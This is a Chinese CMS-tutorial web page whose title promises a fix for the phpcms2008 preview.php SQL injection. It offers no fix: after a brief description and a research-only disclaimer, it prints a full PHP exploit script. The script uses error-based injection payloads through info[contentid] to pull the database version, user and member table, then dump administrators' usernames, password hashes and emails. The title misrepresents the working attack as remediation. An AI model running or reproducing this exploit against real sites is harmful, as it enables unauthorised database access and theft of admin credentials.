您现在的位置是:首页 > cms教程 > phpcms教程phpcms教程
phpcms的/preview.phpSQL注入漏洞修复方法
梁尉寒2025-06-06phpcms教程已有人查阅
导读phpcms2008 是一款基于 PHP+Mysql 架构的网站内容管理系统,也是一个开源的 PHP 开发平台。phpcms 2008的preview.php文件在接受参数info[contentid]字段时没有合适的过滤,导致SQL注入漏洞。
漏洞描述:
phpcms2008 是一款基于 PHP+Mysql 架构的网站内容管理系统,也是一个开源的 PHP 开发平台。
phpcms 2008的preview.php文件在接受参数info[contentid]字段时没有合适的过滤,导致SQL注入漏洞。
测试方法:
@Sebug.net dis
本站提供程序(方法)可能带有攻击性,仅供安全研究与教学之用,风险自负!
可能使用的时候要更改一下User-Agent,否则注入不成功。
注入前请先注册一个用户,把登陆后的cookie写入到cookie变量中。
phpcms2008 是一款基于 PHP+Mysql 架构的网站内容管理系统,也是一个开源的 PHP 开发平台。
phpcms 2008的preview.php文件在接受参数info[contentid]字段时没有合适的过滤,导致SQL注入漏洞。
测试方法:
@Sebug.net dis
本站提供程序(方法)可能带有攻击性,仅供安全研究与教学之用,风险自负!
可能使用的时候要更改一下User-Agent,否则注入不成功。
注入前请先注册一个用户,把登陆后的cookie写入到cookie变量中。
<?php
/**
* Date: 24-11-24
* Time: 下午8:36
* Name: phpcms2008_preview.php
* 独自等待博客:http:// .waitalone.cn/
*/
print_r('
+------------------------------------------------------+
PHPCMS2008 preview.php 注入EXP
Site:http:// .waitalone.cn/
Exploit BY: 独自等待
Time:2013-11-24
+------------------------------------------------------+
');
if($argc <3){
print_r('
+------------------------------------------------------+
Useage: php '. $argv[0].' host path
Host: target server (ip/hostname)
Path: path of phpcms
Example: php '. $argv[0].' localhost /phpcms
+------------------------------------------------------+
');
exit;
}
error_reporting(7);
//统计时间
$start_time = func_time();
$host = $argv[1];
$path = $argv[2];
$cookie ='';//请把会员cookie写入此变量中
if($cookie =='')exit('请注册会员后写入cookie到cookie变量中。');
if(preg_match('/MySQL Query/i', send_pack("'"))){
//数据库版本
$db_ver ="'and(select 1 from(select count(*),concat((select (select (select concat(0x7e,version(),0x7e))) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)#";
echo '数据库版本:'. get_info($db_ver)."\n";
//数据库用户
$db_user ="'and(select 1 from(select count(*),concat((select (select (select concat(0x7e,user(),0x7e))) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)#";
echo '数据库用户:'. get_info($db_user)."\n";
//获取用户表
$db_member ="' and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,table_name,0x7e) FROM information_schema.tables where table_schema=database() and table_name like '%_member%' LIMIT 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)#";
$member = get_info($db_member);
//获取管理员数量
$db_count ="' and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,count(*),0x7e) FROM $member where groupid=1 LIMIT 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)#";
$ad_count = get_info($db_count);
echo '管理员表 有--['. $ad_count .']--个管理员'."\n";
//显示注入数据
foreach(range(0,($ad_count -1))as $i){
$ad_pass ="' and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,username,0x3a,password,0x3a,email,0x7e) FROM $member where groupid=1 LIMIT $i,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)#";
echo '管理员['.($i +1).']-->'. get_info($ad_pass)."\n";
}
}else{
exit("报告大人,网站不存在此漏洞,你可以继续秒下一个!\n");
}
//提取返回信息
function get_info($info)
{
preg_match('/~(.*?)~1/i', send_pack($info), $match_string);
if(preg_match('/charset=utf-8/i', send_pack($info))){
return iconv('utf-8','gbk//IGNORE', $match_string[1]);
}else{
return $match_string[1];
}
}
//发送数据包函数
function send_pack($cmd)
{
global $host, $path, $cookie;
$data ="GET ". $path ."/preview.php?info[catid]=15&content=a[page]b&info[contentid]=2". urlencode($cmd)." HTTP/1.1\r\n";
$data .="Host: ". $host ."\r\n";
$data .="User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:21.0) Gecko/20100101 Firefox/21.0\r\n";
$data .="Cookie:". $cookie ."\r\n";
$data .="Connection: Close\r\n\r\n";
//echo $data;
//这里一定要2个\r\n否则将会一直等待并且不返回数据
$fp =@fsockopen($host,80, $errno, $errstr,30);
//echo ini_get('default_socket_timeout');//默认超时时间为60秒
if(!$fp){
echo $errno .'-->'. $errstr;
exit('Could not connect to: '. $host);
}else{
fwrite($fp, $data);
$back ='';
while(!feof($fp)){
$back .= fread($fp,1024);
}
fclose($fp);
}
return $back;
}
//时间统计函数
function func_time()
{
list($microsec, $sec)= explode(' ', microtime());
return $microsec + $sec;
}
echo '脚本执行时间:'. round((func_time()- $start_time),4).'秒。';
?>
本文标签:
很赞哦! ()
相关教程
图文教程
PHPCMSV9建站学习总结
在实现PHPCMS网站过程中,根据业务需求,我们遇到很多问题,特此总结如下,以便大家参考学习。【1】PHPCMS V9系统目录简析
PHPCMS和帝国CMS的评论管理功能哪个好用
phpcms和帝国cms在评论管理功能上的异同点如下:1. phpcms提供灵活的评论审核和分级回复功能,通过数据库操作实现。2. 帝国cms注重简洁和易用性,支持评论的审核、删除和排序
phpcms全站搜索不限模型的实现方法实例
phpcmsv9全站搜索,不限模型,今天又涨知识了。大家都知道,phpcms搜索时按照模型来搜索的,用了这个方法后,就可以全站搜索简单修改一下v9默认的搜索功能
phpcms设置文章页发布作者的方法
步骤一:修改content_model.class.php文件1、在add_content函数添加文章部分步骤二:在生成页面的模板中,加上发布人信息
相关源码
-
(自适应响应式)双语LED照明灯饰灯具外贸网站pbootcms源码下载模板采用响应式设计,能自动适应手机、平板和电脑等多种设备屏幕,确保用户在不同设备上都能获得良好的浏览体验。同一后台管理,数据实时同步,操作简便高效。查看源码 -
(PC+WAP)绿色硅胶橡胶玩具制品营销型网站源码下载为硅胶橡胶制品及玩具行业打造的营销型网站模板,采用PbootCMS内核开发,通过模块化设计实现产品参数、安全认证、应用场景等专业内容的可视化呈现,助力企业建立可信赖的线上展示平台。查看源码 -
(自适应)HTML5响应式双语绿色物流运输快递货运pbootcms源码本款基于PbootCMS开发的网站模板为物流运输、快递货运行业设计,采用HTML5技术构建,支持简繁字体切换。模板设计充分考虑了货运物流行业的特点,可专业展示运输服务、物流网络和业务优势等内容。查看源码 -
(PC+WAP)红色家装设计智能家居家具建材pbootcms网站源码下载本模板基于PbootCMS系统开发,为智能家居、家装设计及家具建材行业设计。采用现代化布局风格,突出家居设计行业特色,适合展示各类家居产品、设计方案和建材信息。查看源码 -
(PC+WAP)楼承板建筑工程合金钢铁材料pbootcms网站源码下载为楼承板生产商及建筑工程企业设计的响应式网站模板,采用PbootCMS内核开发,同步适配电脑与移动设备浏览。通过模块化结构展示工程案例、产品参数等专业内容,帮助建筑建材企业建立标准化数字展示平台,提升行业专业形象。查看源码 -
(自适应)绿色农业机械设备农场网站源码下载为现代农业机械领域打造的响应式网站模板,采用PbootCMS内核开发,数据实时同步后台管理。通过简洁大气的视觉设计,有效展示农机产品技术参数与应用场景,帮助客户快速建立专业数字化形象。查看源码
| 分享笔记 (共有 篇笔记) |
